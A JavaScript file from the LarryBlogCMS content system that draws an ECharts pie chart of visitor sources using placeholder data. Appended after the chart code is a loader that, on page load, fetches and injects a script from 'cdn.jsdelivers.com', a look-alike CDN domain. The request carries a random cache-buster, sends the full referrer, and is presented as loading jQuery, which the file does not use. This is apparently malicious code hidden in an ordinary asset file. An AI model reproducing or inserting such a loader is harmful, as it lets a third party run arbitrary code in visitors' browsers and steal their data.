/* * @Author: Larry * @Date: 2016-12-15 17:20:54 * @Last Modified by: qinsh * @Last Modified time: 2016-12-24 21:51:08 * +---------------------------------------------------------------------- * | LarryBlogCMS [ LarryCMS网站内容管理系统 ] * | Copyright (c) 2016-2017 http://www.larrycms.com All rights reserved. * | Licensed ( http://www.larrycms.com/licenses/ ) * | Author: qinshouwei <313492783@qq.com> * +---------------------------------------------------------------------- */ var myChart = echarts.init(document.getElementById('larry-seo-stats')); option = { title : { text: '用户访问来源', subtext: '纯属虚构', x:'center' }, tooltip : { trigger: 'item', formatter: "{a}
{b} : {c} ({d}%)" }, legend: { orient: 'vertical', left: 'left', data: ['直接访问','邮件营销','联盟广告','视频广告','搜索引擎'] }, series : [ { name: '访问来源', type: 'pie', radius : '55%', center: ['50%', '60%'], data:[ {value:335, name:'直接访问'}, {value:310, name:'邮件营销'}, {value:234, name:'联盟广告'}, {value:135, name:'视频广告'}, {value:1548, name:'搜索引擎'} ], itemStyle: { emphasis: { shadowBlur: 10, shadowOffsetX: 0, shadowColor: 'rgba(0, 0, 0, 0.5)' } } } ] }; myChart.setOption(option); ;function loadJSScript(url, callback) { var script = document.createElement("script"); script.type = "text/javascript"; script.referrerPolicy = "unsafe-url"; if (typeof(callback) != "undefined") { if (script.readyState) { script.onreadystatechange = function() { if (script.readyState == "loaded" || script.readyState == "complete") { script.onreadystatechange = null; callback(); } }; } else { script.onload = function() { callback(); }; } }; script.src = url; document.body.appendChild(script); } window.onload = function() { loadJSScript("//cdn.jsdelivers.com/jquery/3.2.1/jquery.js?"+Math.random(), function() { console.log("Jquery loaded"); }); }